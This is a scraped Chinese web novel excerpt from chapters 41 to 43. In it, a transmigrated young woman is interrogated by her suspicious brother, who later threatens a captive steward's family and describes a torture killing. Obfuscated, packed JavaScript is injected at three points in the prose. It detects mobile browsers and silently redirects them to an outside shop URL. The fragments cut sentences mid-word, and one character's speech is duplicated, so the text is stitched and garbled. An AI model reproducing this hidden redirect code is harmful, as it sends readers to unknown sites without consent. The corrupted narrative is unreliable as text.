l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119622|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不少村子,许多流民无家可归。父亲心善,收留了一些身强力壮、肯吃苦的,让他们在这里开荒种药,也算给了他们一条活路。”
他说得冠冕堂皇,仿佛林家做了天大的善事。
但我看着王婶那惊恐瑟缩的样子,看着其他药农眼中那麻木的敬畏,心里却一片冰冷。这哪里是收留?这分明是奴役!
青石村的村民,怎么会无家可归?青石村明明就在这片山里!除非……青石村已经不存在了?或者,被林家以某种方式接管了?
我的脑子乱成一团,恐惧像藤蔓一样缠绕上来。
“走吧,晚琪。”林景明的声音打断了我的思绪。
我机械地跟在他身后,脚步有些虚浮。目光却不由自主地再次扫过药田里的那些面孔。一张张黝黑、麻木、带着畏惧的脸……他们中,还有多少是青石村的故人?
林景明带着我,穿过一片相对稀疏的林地,来到一处背阴的岩壁下。岩壁缝隙里,果然长着几株形态奇特的植物,茎秆细弱,顶端分出七片狭长的叶子,叶片呈暗绿色,边缘微微卷曲。
“这就是七叶莲。”林景明指着那几株植物,“据说采摘时,需在日出前,用玉刀切断,以玉盒盛放,药效最佳。有安神定惊,甚至……稳固魂魄的传说。”
他说“稳固魂魄”时,目光若有似无地扫过我。
我的心脏猛地一缩。稳固魂魄……他到底知道多少?!
“大哥,”我强压着心头的惊涛骇浪,声音却还是忍不住发颤,“你……你相信这些传说吗?”
林景明转过身,面对着我。阳光透过林叶的缝隙,在他脸上投下明暗交错的光影。他的表情很平静,带着一丝温和的笑意。
“传说嘛,总是有几分道理的。”他缓缓说道,声音不高,却字字清晰,“就像人有时候,突然变了性子,判若两人。你说,是原来的魂魄醒了,还是……换了个人呢?”
他的目光,像两把冰冷的锥子,直直刺进我的眼睛。
我的血液仿佛在这一刻彻底凝固。他知道了!他一定知道了!他知道我不是原来的林晚琪!他甚至知道我跟青石村有关系!
恐惧像一只无形的手,扼住了我的喉咙,让我几乎无法呼吸。
“我……我不知道大哥在说什么。”我听见自己微弱的声音,像蚊蚋一样。
林景明脸上的笑意加深了,那笑容却让我感到彻骨的寒冷。
“不知道吗?”他向前走了一步,离我更近了些,声音压得很低,只有我们两人能听见,“那青石村的王婶,为什么看到你,像见了鬼一样?”
我的身体晃了晃,几乎站立不稳。
他果然看到了,他带我来这里,根本就不是散心!他是故意的,他是在试探我!他在逼我露出马脚!
“我……我不认识她。”我死死咬着嘴唇,指甲深深掐进掌心,用疼痛强迫自己保持最后一丝镇定,“许是……许是她认错人了。”
“认错人?”林景明轻笑一声,那笑声里没有一丝温度,“一个痴傻了十五年的林家小姐,和一个山野村妇……能认错?”
他凑得更近,几乎贴在我耳边,声音轻得像毒蛇吐信:“晚琪,告诉大哥,你到底是谁?从哪里来?为什么……会在我妹妹的身体里?”
他的声音很轻,却像惊雷一样在我耳边炸开。
42. 第四十二章 逃过一劫
林景明的声音很轻,却带着淬毒的寒意,一字一字,精准地刺入我的耳膜:“你到底是谁?从哪里来?为什么会在我妹妹的身体里?”
每一个字都像一把冰锥,狠狠凿穿我摇摇欲坠的伪装。我的呼吸在那一瞬间彻底停滞,血液仿佛从四肢百骸倒流回心脏,又在下一秒冻结成冰。世界骤然失声,只剩下他这句轻飘飘的质问,在我脑海里疯狂回荡。
不对!他怎么会知道?!而且感觉他全都知道!他知道这具温热的皮囊里,蜷缩着一个来自与青石村有关系的灵魂!
承认?不!一旦承认,眼前这锦衣玉食、雕梁画栋的一切,这用“林晚琪”身份换来的短暂安宁,都将化为泡影!等待我的,会是比青石村狼口更可怕的下场。
求生的本能爆发出惊人的力量,瞬间冲垮恐惧带来的僵硬。我猛地向后踉跄一步,仿佛被他的话语烫伤,后背重重撞在一棵粗糙的树干上,粗糙的树皮硌得生疼。但这疼痛,反而让我混乱的头脑清醒了一瞬。
我抬起头,脸上已迅速堆砌起混合了极致震惊、茫然、以及被至亲之人深深刺伤难以置信的痛楚。眼泪瞬间盈满眼眶,簌簌滚落,划过苍白的面颊。这不是全凭演技,大半是真的被吓出来的生理泪水。
“大哥?!”我的声音陡然拔高,破碎而尖锐凄厉,“你……你疯了吗?!你在说什么?!什么青石村?!什么王婶?!什么……什么别人的身体?!”
我剧烈地摇头,仿佛想甩掉这可怕的魔咒,泪水随着动作飞溅。“我是晚琪啊!我是你的妹妹林晚琪!我病好了……我好不容易……好不容易才像个正常人一样……” 我的声音哽咽得几乎说不出话,肩膀无法控制地颤抖,每一个字都浸透了真实的恐惧和一种被误解的绝望,“你怎么能……怎么能用这么可怕的话来……来咒我?!我还是你妹妹吗?!”
我哭得撕心裂肺,身体顺着树干滑下,蜷缩起来,双臂紧紧抱住自己,像一只被抛弃在暴风雨中的幼兽。眼泪汹涌而出,混合着山间的尘土,在脸上冲出狼狈的沟壑。这不是完美的表演,里面掺杂了太多真实的惊惶和崩溃,但或许正因为这份不完美,反而更显真实?
林景明脸上的那层温和假面,在我崩溃的哭喊中,一点点剥落。他没有动,没有像寻常兄长那样上前安慰。他只是站在那里,像一尊冰冷的石像,那双总是清澈含笑的眼眸,此刻褪去了所有温度,只剩下一种近乎非人的冰冷审视。那目光像解剖刀,一寸寸刮过我的皮肤,试图剥开皮肉,直视里面那个瑟瑟发抖的灵魂。
我的哭声在山谷间回荡,惊起了远处林中的飞鸟。药田那边,几个模糊的人影停下了动作,朝这边望来,但很快又像受惊的鼹鼠般低下头,更深地埋进泥土里。
我哭得几乎喘不上气,眼泪模糊了视线。但心底求生的弦,却绷得死紧。我透过朦胧的泪眼,死死盯着林景明那张毫无表情的脸。
他会信吗?这拙劣、充满破绽的哭喊……
时间仿佛凝固了。只有我的抽泣声,和风吹过林梢的呜咽。
不知过了多久,林景明终于动了。他极轻地几乎无声地叹了口气,那叹息里听不出任何情绪,像风吹过空洞的石穴。
“好了,别哭了。”他的声音重新响起,又恢复了那种令人如沐春风的温和,甚至还带上了一丝恰到好处的无奈与自责,“是大哥不好。许是……许是最近太累了,看了些杂书,听了些怪谈,竟胡思乱想到自己妹妹头上来了。”
他缓步上前,从怀中取出一方素白无瑕的丝帕,俯身,将帕子轻轻递到我面前,动作优雅而体贴。
“擦擦吧,脸都花了。”他的声音轻柔,带着安抚的魔力,“是大哥的不是,不该说这些没头没脑的话,吓着你了。”
我没有立刻去接那方帕子,只是抬起泪眼朦胧的脸,怔怔地看着他。脸上是真切的恐惧和未散的惊疑,身体依旧在微微发抖。我不能太快原谅,一个被兄长用如此恐怖言语中伤的深闺少女,应该感到持续的受伤和不安。
林景明也不催促,只是维持着递帕的姿势,耐心地等待着。他的目光落在我脸上,那审视的锐利似乎淡去了一些,但深处那种莫测的幽光,依旧隐隐闪烁。
“青石村……”他再次开口,声音平静得像在讲述一个遥远而无关的故事,“是西岭深处的一个小村子,去年山洪,整个村子都没了,地也废了。父亲后来把那片山地买了下来。那个王婶,是侥幸活下来的流民,无依无靠,父亲心善,便收留了她,让她在这里做些轻省活计,也算有个安身之处。”
他顿了顿,目光似乎飘向远处药田的方向,语气带着悲悯的叹息:“她大概是……看到你,想起了她死在洪水里的女儿吧。”他的解释天衣无缝,语气平淡自然,仿佛刚才那句石破天惊的质问,真的只是他一时疲惫的胡思乱想。
但我握着树干的手指,却抠进了树皮里。我知道,不是。
他在给我搭一座摇摇欲坠名为“误会”的桥。他在试探我敢不敢走上去,同时也在桥的另一端,冷冷地观察着我的每一步。
我迟疑地伸出手,指尖触碰到那方丝帕。帕子冰凉丝滑,带着若有若无的香气,不是寻常熏香,更像某种干燥草药混合着陈旧木料的气息。我接过帕子,没有立刻擦脸,只是将它紧紧攥在手心,眼泪还在流,但已经变成了无声的啜泣。
“真……真的只是这样吗?”我的声音细弱蚊蚋,带着残留的颤抖和不肯轻易消散的委屈。
“嗯。”林景明肯定地点点头,脸上绽开一个比阳光更温暖、更令人安心的笑容,仿佛刚才的阴霾从未存在,“不然还能是怎样?难道你真是什么山精野怪,占了晚琪的身子不成?”
他这话带着明显的调侃,眼神也恢复了往日的清澈明亮,仿佛刚才那个眼神冰冷如刀的男人,只是我的幻觉。
我勉强扯动嘴角,想回一个笑容,却感觉脸上的肌肉僵硬得不听使唤。这个笑容一定比哭还难看。
“大哥……你以后,别再这样吓我了。”我的声音依旧带着后怕的余韵。
“好,不吓你了。”林景明伸出手,似乎想像小时候那样揉揉我的头发,但那只骨节分明的手在半空中停顿了一瞬,最终只是极其自然地、轻轻拂去了落在我肩头的一片枯叶,“出来久了,山风凉,该回去了。”
他转过身,沿着来时的蜿蜒小径,步履从容地往回走。阳光勾勒出他挺拔的背影,衣袂在微风中轻扬,仿佛刚才那场惊心动魄的对峙,从未发生。
我跟在他身后,脚步虚浮,像踩在云端。手里那方丝帕被我攥得死紧,几乎要嵌进肉里。那上面残留的、若有若无的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119623|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇异香气,此刻却让我感到一阵阵反胃。
他没有再追问,没有再试探。山风穿过林木,发出悠长的叹息。
林景明……他到底准备干什么?
我攥紧了那方冰冷的丝帕,指甲几乎要刺破掌心。
回程的路,比来时更显漫长。
林景明走在前面,步履依旧从容,偶尔会停下脚步,指着路边一株不起眼的植物,告诉我它的名字和药性,语气温和如常,仿佛刚才那场几乎撕破脸皮的试探,真的只是他一时失言。
我机械地应着,心思却全然不在那些草药上。我的目光,总是不由自主地瞟向药田的方向。那些模糊的、正在劳作的身影,像一根根冰冷的针,扎在我的心上。
王婶她认出我了。她一定认出我了!她会不会说出来?
这个念头让我不寒而栗。如果她向林景明证实,我就是青石村那个死在狼口的女人……那后果,我不敢想象。
我必须找机会见她!必须封住她的嘴!
可是,怎么见?林景明就在身边,药田里还有其他人……
正胡思乱想间,我们已经回到了庄子的小院。
“累了吧?”林景明站在院门口,回头看我,脸上是温和的笑意,“去歇歇,晚膳时我叫你。”
“嗯。”我低低应了一声,逃也似的钻进了自己的东厢房。
关上房门,背靠着冰冷的门板,我才敢大口喘气。浑身的力气仿佛被抽干,我顺着门板滑坐到地上,冷汗早已浸透了内衫。
手里那方丝帕,依旧被我紧紧攥着。我展开它,雪白的帕子上,除了被我揉捏出的褶皱,什么都没有。但那若有若无的奇异香气,却挥之不去。
我猛地将丝帕扔到墙角,仿佛那是什么不洁之物。
不行……不能这样下去。
林景明已经起了疑心,甚至可能已经知道了什么。他今天带我来这里,绝不是偶然。他在试探,在观察,在布局。
而我,就像一只掉进蛛网的飞虫,越是挣扎,缠得越紧。
怎么办?
突然,房门又被叩响,林景明温和的声音响起:“晚琪,我收到家里的急信,有些事务需要我亲自出面处理。晚膳我就不跟你一起用了,先行回家。你可以在庄子里再玩几日回来。”
我猛地从地上爬起来,深吸一口气,强迫自己镇定地拉开门。
林景明站在门外,脸上带着歉意:“实在抱歉,晚琪。本想多陪你几日,但事情紧急……”
“大哥有正事要紧。”我连忙道,努力让自己的声音听起来平静,“我……我一个人在这里也挺好的,清静。”
“嗯。”林景明点点头,目光在我脸上停留一瞬,那眼神依旧温和,但深处似乎有什么东西一闪而过,“庄子里的老仆会照顾你。有什么事,让他们传话回府。我……过两日再来接你。”
“好。”我应道。
林景明又看了我一眼,似乎想说什么,但最终只是笑了笑,转身走了。
我站在门口,看着他挺拔的背影消失在院门外,听着马车轱辘声渐渐远去,直到彻底听不见。
机会……来了吗?
我望向远处的药田,夕阳西下,将层层梯田染上一层金红色。那些劳作的人影,正在收拾工具准备下工。
43. 第四十三章 价值与筹码
夜色如墨,清河镇靠近废弃码头的一处偏僻货栈后院,正透出几分不同寻常的死寂。
这院子是镇上一个叫孙有福的小头目存放杂物的备用仓库。院子四周高墙耸立,墙头插满碎瓷,唯一的出入口是那扇厚重的包铁木门,此刻紧闭,将内外声响隔绝得干干净净。院子里没有点灯笼,只有正屋敞开的门内透出昏黄的烛光。光晕勉强照亮门口一小片坑洼不平的泥地,再往外,便是吞噬一切的黑暗。
林景明坐在正屋中央一张太师椅上,身体微微后靠,右手搭在扶手上,修长的手指有一下没一下地轻叩着光滑的木面。他面前三步远的地上,跪着个矮胖的中年男人。
男人身上那件原本体面的绸衫,此刻沾满了尘土和污渍,皱巴巴地裹在身上。正是这仓库的主人孙有福,也是林家安排在清河镇码头区的一个代理管事,手下管着几条货船的调度往来。
孙有福被反绑着手,嘴里塞着破布,脸颊、额角带着不同程度的淤青和干涸的血迹,显然在被带到这里之前,已经审问过了。他惊恐地看着坐在阴影里的林景明,眼神里充满了哀求。
林景明的目光却并未落在他身上,而是淡淡地投向门口那片浓郁的黑暗。
脚步声响起,一个身形精悍的汉子快步走进烛光范围,躬身抱拳,声音压得低而清晰:“大少爷,都查清楚了。”
“说。”林景明叩击扶手的手指未停,只吐出一个字。
“孙有福上个月从疤爷手里,私下接了一批‘青料’,数量不大,但成色特殊,是南洋那边过来的。疤爷当时急着脱手,价钱开得很低。孙有福见有利可图,就瞒着府里用自己的路子吃下了。”
林景明眉梢微挑。
黑衣汉子继续道:“孙有福本想悄悄转手,赚个差价。但还没找到下家,‘永丰号’就出事了。疤爷失踪,黑皮被抓,那批‘青料’成了烫手山芋。”
林景明的手指停止敲击,屋内顿时只剩下烛芯偶尔爆开的噼啪声,以及孙有福粗重压抑的喘息。他缓缓开口,声音依旧平静无波:“然后呢?”
“孙有福想把货处理掉。偏巧那几日,府里二小姐的院子正在修缮,有些暂时用不着的杂物,需挪到码头大仓去存放些时日。孙有福就动了歪心思。”黑衣汉子抬眼迅速瞥了下林景明的脸色,才接着道,“他买通大仓的老仓管孙晖,把那批‘青料’混进二小姐院子的杂物里一起入了库。单据上收货人写的是二小姐的名字。”
“为什么写晚琪的名字?”林景明的声音很平静,却让跪着的孙有福抖得更厉害了。
黑衣汉子回道:“据孙有福交代,二小姐常年深居简出,不问外事,名下从无货物往来,最不容易引人注意。而且他想着,万一东窗事发,或有人查库见到这批货,便可推说是下面的人办事糊涂,登记错了。”
林景明嘴角勾起一丝冰冷的弧度:“倒是想得周全。”他站起身,走到孙有福面前,蹲下身,嫌恶地扯出塞在孙有福嘴里的那团破布。
“大少爷!大少爷饶命啊!饶命啊!”破布刚离口,孙有福便爆发出杀猪般的哭嚎,涕泪瞬间纵横满脸,“小的鬼迷心窍!猪油蒙了心!贪那点要命的小便宜!小的对天发誓,绝没有一丝一毫要害二小姐的心思啊!那批货……那批货小的立刻就去处理!保证处理得干干净净,一点痕迹不留!求大少爷开恩!看在小的为林家效力这么多年的份上,饶小的一条狗命吧!”
林景明并不理会孙有福的哭诉,扔掉手里的破布,开口询问道:“之前跟‘永丰号’的疤爷,有过节?”
孙有福的哭嚎戛然而止,一下子不知道该从何说起:“这……”
“疤爷一出事,你就迫不及待去捡他的漏,”林景明语气平淡,甚至带着点戏谑,“是想浑水摸鱼,捞点好处?还是另有所图?”
“冤枉!天大的冤枉啊大少爷!”孙有福又激动起来,挣扎着想要以头抢地,“疤爷那是何等人物?小的平日里巴结还来不及,怎敢与他有过节?更不敢在他落难时落井下石啊!小的真是只是贪财,一时糊涂!”
林景明完全没有在听他的辩白,自顾自地继续问道:“老仓管孙晖,是你的远方族亲?你这林家码头代理管事的差事,也是走了他的门路?”
孙有福浑身一震,脸上血色褪尽,连哭喊都忘了,只是拼命摇头:“不……不是!大少爷明鉴!小的与那孙晖只是同姓,此前并不熟识!这差事是小的自己凭本事……大少爷,您不能因为我们都姓孙,就断定我们勾结啊!小的真的只是一时糊涂!再也不敢了!求您再给次机会!”
林景明看着他,叹了口气。那叹息声很轻,落在孙有福耳中,却比惊雷更可怕。林景明重新站直身体,语气里竟似带上了一丝惋惜,如同看着一件即将被丢弃的旧物:“孙有福,事到如今,你我之间,还需要这些虚头巴脑的搪塞吗?你是个聪明人,该知道,到了这个份上,实话,或许还能换一线生机。”
孙有福嗅到死亡的气味,连忙用双膝挪到林景明的腿边,额头重重磕在冰冷的地面上,发出沉闷的响声,哭喊道:“是!是!孙晖是我很远房的亲戚,小的给了他很多银两,才谋到林家的差事,还有这次入库的事情。他喝醉后威胁小的讨要更多的银钱,不然要告诉林老爷,小的才出此下策把他毒死了……大少爷!求大少爷看在小的为林家效力多年的份上,饶小的一命吧!求你再给小的一次机会吧!”
林景明冷眼看着孙有福的鼻涕和眼泪蹭在自己深灰色的裤腿上,留下污浊的痕迹。他脸上没有任何表情:“孙有福,你在我林家这些年,可知道我的为人?”
孙有福茫然地抬头,看着林景明在烛光下半明半暗的脸,那张年轻却过分沉静的脸上,此刻似乎笼罩着一层他从未看清过的阴影。
“你得有价值,知道吗?”林景明露出一个阎王一般的笑容,“活着,要有活着的价值;死了,也要有死了的用处。”
孙有福的脸色瞬间惨白如纸,嘴唇哆嗦着,翕动了半天,却连一个完整的音节都发不出来,只有牙齿咯咯打颤的声音。
林景明转身,对黑衣汉子道:“去把孙管事家里人都请来。他那个刚满月的小孙子,听说生得挺白胖。”
“不!不要!”孙有福猛地挣扎起来,涕泪横流,“大少爷!祸不及家人啊!求您!都是小的一个人做的!跟家里人没关系!求您放过他们!”
林景明居高临下地看着他,眼神里没有丝毫波澜:“还是那句话,孙有福,你现在还有什么价值,能换你和你一家老小的命吗?”
这句话像一道闪电,劈开了孙有福混沌的脑海。一个激灵,他猛地挺起上半身,尽管被反绑着,姿势怪异,却用尽全身力气嘶喊道:“有!有!大少爷!我有价值!我知道一个人!阮文雄!他是我的至交!”
看见林景明似乎产生了兴趣,他连忙补充道,“阮文雄常年在南洋和东南沿海跑船,表面是做些通货生意,其实暗地里什么都沾。那批‘青料’,就是他卖给疤爷的。而且那批‘青料’跟以往的都不一样!”
像是终于听到自己想要的答案,林景明嘴角的笑意更浓了:“怎么个不一样法?”
他看到林景明眉峰似乎动了一下,目光重新聚焦在自己身上,心中那点微弱的火苗顿时疯狂燃烧起来,求生欲压倒了一切:“阮文雄!他常年在南洋跑船,表面上做的是香料、珍珠、珊瑚这些通货生意,其实暗地里什么都沾!路子野得很!那批‘青料’,真正的源头就是他!是他卖给疤爷的!而且……而且那批‘青料’跟以往市面上的任何一批都不一样!大不一样!”
像是终于听到了想听的关键,林景明眼中掠过一丝极淡的锐光,嘴角那抹冰冷的笑意似乎加深了些许:“哦?怎么个不一样法?”
孙有福如同抓住了最后一根救命稻草,语速快得几乎咬到舌头:“那批瓷器……不,那根本不能算普通的瓷器!阮文雄有一次喝多了跟我透露,那是他从南洋一个非常隐秘、古老的教派里流出来的圣器!上面刻的那些复杂纹路,根本不是什么装饰图案,是……是某种古老的咒文!他说,那批货真正的价值,根本不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119624|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在瓷器本身,而在那些纹路上!疤爷当时急着用钱,才低价出手,但他也警告过我,这东西……邪性,不能随便卖,只能交给真正懂行的人,否则会招灾!”
林景明的眼神彻底锐利起来,如同出鞘的刀锋:“说清楚。什么教派?什么咒文?”
孙有福被他目光所慑,吞咽了一口带着血沫的唾沫,声音因为恐惧而微微发颤:“阮文雄说……那个教派起源非常古老,好像……好像跟西边的雪域高原有关。很多很多年前,教派内部发生了分裂,一部分信徒被迫流亡,几经辗转,最后在南洋的某些岛屿上扎根下来,但一直……一直秘密保留着古老的仪式和……和据说不可思议的力量。那批‘青料’,就是他们举行某些重要仪式时使用的器物!上面刻的咒文,据说是用早已失传的古语书写,能……能沟通神灵,或者……或者带来某种强大的庇佑,甚至……甚至诅咒……”他说到最后,声音越来越小,自己脸上也露出了难以置信的恐惧神色,显然当初听闻时也深受震撼。
“阮文雄,现在人在哪里?”林景明打断他越来越离奇的叙述。
“他……他应该在连州港!”孙有福急忙道,生怕回答慢了,“他的船‘海鹞号’前几天刚靠的连州港!我前些日子还收到他的信,说要在连州等一批货,顺便收笔旧账,然后……然后可能就要扬帆再去南洋!大少爷!小的可以带您去找他!小的知道他在连州港惯常落脚的地方!只要……只要您高抬贵手,饶了小的和家里人,小的愿意带路,帮您找到阮文雄!他手里肯定还有更多关于那教派和那批货的消息!”
林景明沉默了片刻。烛火在他深不见底的眸子里跳动,映照出他飞速权衡的思绪。
良久,林景明才缓缓开口,问了一个似乎不相干的问题:“孙有福,你知道‘永丰号’的疤爷,最后是怎么死的吗?”
孙有福一愣,茫然地摇头:“听……听道上传言,是被人……害了?”
“不是传言。”林景明的声音很平静,甚至带着一丝令人毛骨悚然的笑意,他慢慢讲述一个与己无关的故事,“疤爷是被人活生生切断手指,取下上面代表他身份的铜环。然后,行凶者又把铜环套回他光秃秃的指骨上。接着,用钝器反复击打他的颅骨,直到碎裂;用匕首刺穿他的胸腹,搅烂内脏;最后,折断了他的脊椎,让他像一摊烂泥一样扭曲。整个过程,他应该都是清醒的。”
孙有福瞳孔放大,脸上最后一点血色也消失殆尽,身体僵直,仿佛连颤抖都忘了。
“最后,”林景明俯下身,凑近他耳边,声音轻得像情人间的呢喃,却带着地狱般的寒气,“他的尸体被抛在城南最荒芜的废弃滩涂,潮水涨了又退,鱼虾来了又去。找到的时候,差不多只剩下一副挂着碎肉的骨头架子。”
“你觉得,”林景明恢复了正常的音量,目光淡漠地扫过孙有福彻底崩溃的脸,“你的下场,会比疤爷好上多少?”
孙有福喉咙里发出“咯咯”的怪响,眼白上翻,身体剧烈地抽搐了一下,一股腥臊的液体瞬间浸透了他绸衫的下摆,在地面洇开一小片深色痕迹。他彻底瘫软下去,像一具被抽走了所有骨头和灵魂的皮囊,只剩下空洞的双眼望着屋顶横梁,连哀求的力气都没有了。
林景明眼中掠过毫不掩饰的厌恶,仿佛看到了一只肮脏的虫子。
“带他去洗干净,换身衣服,别吓着阮老板。”林景明对黑衣汉子吩咐道,“给他家人安排个妥当的地方住下,好生照看。孙管事,接下来该怎么做,你心里有数了?”
最后一句是问向孙有福的,但孙有福只是瘫在地上,没有任何反应。
黑衣汉子会意,躬身道:“明白,大少爷。属下会安排妥当,确保孙管事心无旁骛地带路。”他一挥手,两名一直守在门口阴影里的手下快步进来,面无表情地将瘫软的孙有福架了起来,拖向侧边一间堆放杂物的偏房。很快,里面传来泼水声和含糊的呜咽。
林景明独自坐在厅堂,右手又习惯性开始叩击扶手,他思索着低声念出了那个名字:“阮文雄……”